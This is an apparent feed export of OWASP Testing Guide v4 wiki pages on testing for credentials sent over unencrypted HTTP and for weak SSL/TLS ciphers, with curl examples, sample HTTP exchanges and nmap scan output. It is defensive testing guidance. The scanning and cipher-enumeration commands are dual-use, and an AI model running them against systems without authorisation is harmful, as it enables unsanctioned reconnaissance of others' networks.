''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
Beginning Microsoft Visual Studio LightSwitch Development - http://books.google.com/books?id=x76L_kaTgdEC&amp;amp;pg=PA280&amp;amp;lpg=PA280&amp;amp;dq=business+logic+example+valid+data+example&amp;amp;source=bl&amp;amp;ots=GOfQ-7f4Hu&amp;amp;sig=4jOejZVligZOrvjBFRAT4-jy8DI&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ei=mydYUt6qEOX54APu7IDgCQ&amp;amp;ved=0CFIQ6AEwBDgK#v=onepage&amp;amp;q=business%20logic%20example%20valid%20data%20example&amp;amp;f=false&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The application/system must ensure that only &amp;quot;logically valid&amp;quot; data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)&amp;diff=180301</id>
		<title>Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)&amp;diff=180301"/>
				<updated>2014-08-08T12:59:57Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
Sensitive data must be protected when it is transmitted through the network. If data is transmitted over HTTPS or encrypted in another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article [https://www.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_%28OTG-CRYPST-001%29 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] [1] and in other OWASP documentation [2], [3], [4], [5]. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As a rule of thumb if data must be protected when it is stored, this data must also be protected during transmission. Some examples for sensitive data are:&lt;br /&gt;
* Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies…)&lt;br /&gt;
* Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some examples are Basic authentication which sends authentication credentials in plain-text over HTTP, form based authentication credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
Various types of information that must be protected, could be transmitted by the application in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS, or whether weak cyphers are used. See more information about insecure transmission of credentials [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure] [3] or insufficient transport layer protection in general [https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection Top 10 2010-A9-Insufficient Transport Layer Protection] [2].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 1: Basic Authentication over HTTP ===&lt;br /&gt;
A typical example is the usage of Basic Authentication over HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In the example below the tester uses curl [5] to test for this issue. Note how the application uses Basic authentication, and HTTP rather than HTTPS&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -kis http://example.com/restricted/ &lt;br /&gt;
HTTP/1.1 401 Authorization Required &lt;br /&gt;
Date: Fri, 01 Aug 2013 00:00:00 GMT &lt;br /&gt;
WWW-Authenticate: Basic realm=&amp;quot;Restricted Area&amp;quot; &lt;br /&gt;
Accept-Ranges: bytes Vary: &lt;br /&gt;
Accept-Encoding Content-Length: 162 &lt;br /&gt;
Content-Type: text/html  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;401 Authorization Required&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt; &lt;br /&gt;
&amp;lt;body bgcolor=white&amp;gt; &amp;lt;h1&amp;gt;401 Authorization Required&amp;lt;/h1&amp;gt;  Invalid login credentials!  &amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 2: Form-Based Authentication Performed over HTTP ===&lt;br /&gt;
Another typical example is authentication forms which transmit user authentication credentials over HTTP. In the example below one can see HTTP being used in the &amp;quot;action&amp;quot; attribute of the form. It is also possible to see this issue by examining the HTTP traffic with an interception proxy.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form action=&amp;quot;http://example.com/login&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;User:&amp;lt;/label&amp;gt; &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;username&amp;quot; name=&amp;quot;username&amp;quot; value=&amp;quot;&amp;quot;/&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
	&amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;Password:&amp;lt;/label&amp;gt; &amp;lt;input type=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; value=&amp;quot;&amp;quot;/&amp;gt;&lt;br /&gt;
	&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Login&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Cookie Containing Session ID Sent over HTTP ===&lt;br /&gt;
The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below the setting of the cookie is done without the Secure flag, and the entire log in process is performed in HTTP and not HTTPS. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://secure.example.com/login&lt;br /&gt;
&lt;br /&gt;
POST /login HTTP/1.1&lt;br /&gt;
Host: secure.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Referer: https://secure.example.com/&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-Length: 188&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 302 Found&lt;br /&gt;
Date: Tue, 03 Dec 2013 21:18:55 GMT&lt;br /&gt;
Server: Apache&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate, max-age=0&lt;br /&gt;
Expires: Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com; httponly&lt;br /&gt;
Location: private/&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
X-XSS-Protection: 1; mode=block&lt;br /&gt;
X-Frame-Options: SAMEORIGIN&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
Keep-Alive: timeout=1, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------&lt;br /&gt;
http://example.com/private&lt;br /&gt;
&lt;br /&gt;
GET /private HTTP/1.1&lt;br /&gt;
Host: example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Referer: https://secure.example.com/login&lt;br /&gt;
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Cache-Control: no-store&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Expires: 0&lt;br /&gt;
Content-Type: text/html;charset=UTF-8&lt;br /&gt;
Content-Length: 730&lt;br /&gt;
Date: Tue, 25 Dec 2013 00:00:00 GMT&lt;br /&gt;
----------------------------------------------------------&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* [5] [http://curl.haxx.se/ curl] can be used to check manually for pages&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [1] [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_%28OTG-CRYPST-001%29 OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]&lt;br /&gt;
* [2] [https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection OWASP TOP 10 2010 - Insufficient Transport Layer Protection]&lt;br /&gt;
* [3] [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure OWASP TOP 10 2013 - Sensitive Data Exposure]&lt;br /&gt;
* [4] [https://code.google.com/p/owasp-asvs/wiki/Verification_V10 OWASP  ASVS v1.1 - V10 Communication Security Verification Requirements]&lt;br /&gt;
* [6] [https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) OWASP Testing Guide - Testing for Cookies attributes (OTG-SESS-002)]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&amp;diff=180300</id>
		<title>Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&amp;diff=180300"/>
				<updated>2014-08-08T12:58:26Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Common Issues == &lt;br /&gt;
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).&lt;br /&gt;
&lt;br /&gt;
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:&lt;br /&gt;
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.&lt;br /&gt;
* Certificate validity must be ensured.&lt;br /&gt;
&lt;br /&gt;
Other vulnerabilities linked to this are:&lt;br /&gt;
* Software exposed must be updated due to possibility of known vulnerabilities [4].&lt;br /&gt;
* Usage of Secure flag for Session Cookies [5].&lt;br /&gt;
* Usage of HTTP Strict Transport Security (HSTS) [6].&lt;br /&gt;
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].&lt;br /&gt;
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Sensitive data transmitted in clear-text===&lt;br /&gt;
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Weak SSL/TLS Ciphers/Protocols/Keys===&lt;br /&gt;
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Briefly, the key points for the cipher suite determination are the following: &lt;br /&gt;
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].&lt;br /&gt;
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.&lt;br /&gt;
&lt;br /&gt;
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.&lt;br /&gt;
#The server sends a ServerHelloDone message and waits for a client response.&lt;br /&gt;
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===SSL certificate validity – client and server===&lt;br /&gt;
&lt;br /&gt;
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:&lt;br /&gt;
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.&lt;br /&gt;
# The server sends a ServerHelloDone message and waits for a client response.&lt;br /&gt;
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: &lt;br /&gt;
&lt;br /&gt;
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);&lt;br /&gt;
* Checking that the certificate is currently valid;&lt;br /&gt;
* Checking that the name of the site and the name reported in the certificate match.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's examine each check more in detail. &lt;br /&gt;
&lt;br /&gt;
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Other vulnerabilities===&lt;br /&gt;
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore,  for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
===Testing for sensitive data transmitted in clear-text===&lt;br /&gt;
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====Example 1. Basic Authentication over HTTP=====&lt;br /&gt;
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -kis http://example.com/restricted/&lt;br /&gt;
HTTP/1.1 401 Authorization Required&lt;br /&gt;
Date: Fri, 01 Aug 2013 00:00:00 GMT&lt;br /&gt;
WWW-Authenticate: Basic realm=&amp;quot;Restricted Area&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 162&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;401 Authorization Required&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=white&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;401 Authorization Required&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Invalid login credentials!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===&lt;br /&gt;
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. &lt;br /&gt;
&lt;br /&gt;
At the time of writing these criteria are widely recognized as minimum checklist:&lt;br /&gt;
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).&lt;br /&gt;
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).&lt;br /&gt;
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).&lt;br /&gt;
* No Export (EXP) level cipher suites, due to can be easly broken [10].&lt;br /&gt;
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).&lt;br /&gt;
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).&lt;br /&gt;
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].&lt;br /&gt;
&lt;br /&gt;
A more complete checklist includes:&lt;br /&gt;
* Secure Renegotiation should be enabled.&lt;br /&gt;
* MD5 should not be used, due to known collision attacks. [35]&lt;br /&gt;
* RC4 should not be used, due to crypto-analytical attacks [15].&lt;br /&gt;
* Server should be protected from BEAST Attack [16].&lt;br /&gt;
* Server should be protected from CRIME attack, TLS compression must be disabled [17].&lt;br /&gt;
* Server should support Forward Secrecy [18].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following standards can be used as reference while assessing SSL servers:&lt;br /&gt;
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use &amp;quot;strong cryptography&amp;quot; without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].&lt;br /&gt;
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].&lt;br /&gt;
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]),  can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 2. SSL service recognition via nmap====&lt;br /&gt;
&lt;br /&gt;
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are -  but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).&lt;br /&gt;
&lt;br /&gt;
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com&lt;br /&gt;
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST&lt;br /&gt;
Nmap scan report for www.example.com (127.0.0.1)&lt;br /&gt;
Host is up, received user-set (0.20s latency).&lt;br /&gt;
Not shown: 89 filtered ports&lt;br /&gt;
Reason: 89 no-responses&lt;br /&gt;
PORT    STATE SERVICE  REASON  VERSION&lt;br /&gt;
21/tcp  open  ftp      syn-ack Pure-FTPd&lt;br /&gt;
22/tcp  open  ssh      syn-ack OpenSSH 5.3 (protocol 2.0)&lt;br /&gt;
25/tcp  open  smtp     syn-ack Exim smtpd 4.80&lt;br /&gt;
26/tcp  open  smtp     syn-ack Exim smtpd 4.80&lt;br /&gt;
80/tcp  open  http     syn-ack&lt;br /&gt;
110/tcp open  pop3     syn-ack Dovecot pop3d&lt;br /&gt;
143/tcp open  imap     syn-ack Dovecot imapd&lt;br /&gt;
443/tcp open  ssl/http syn-ack Apache&lt;br /&gt;
465/tcp open  ssl/smtp syn-ack Exim smtpd 4.80&lt;br /&gt;
993/tcp open  ssl/imap syn-ack Dovecot imapd&lt;br /&gt;
995/tcp open  ssl/pop3 syn-ack Dovecot pop3d&lt;br /&gt;
Service Info: Hosts: example.com&lt;br /&gt;
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====&lt;br /&gt;
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com&lt;br /&gt;
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST&lt;br /&gt;
Nmap scan report for www.example.com (127.0.0.1)&lt;br /&gt;
Host is up (0.090s latency).&lt;br /&gt;
rDNS record for 127.0.0.1: www.example.com&lt;br /&gt;
PORT    STATE SERVICE&lt;br /&gt;
443/tcp open  https&lt;br /&gt;
| ssl-cert: Subject: commonName=www.example.org&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 1024&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
465/tcp open  smtps&lt;br /&gt;
| ssl-cert: Subject: commonName=*.exapmple.com&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 2048&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
993/tcp open  imaps&lt;br /&gt;
| ssl-cert: Subject: commonName=*.exapmple.com&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 2048&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
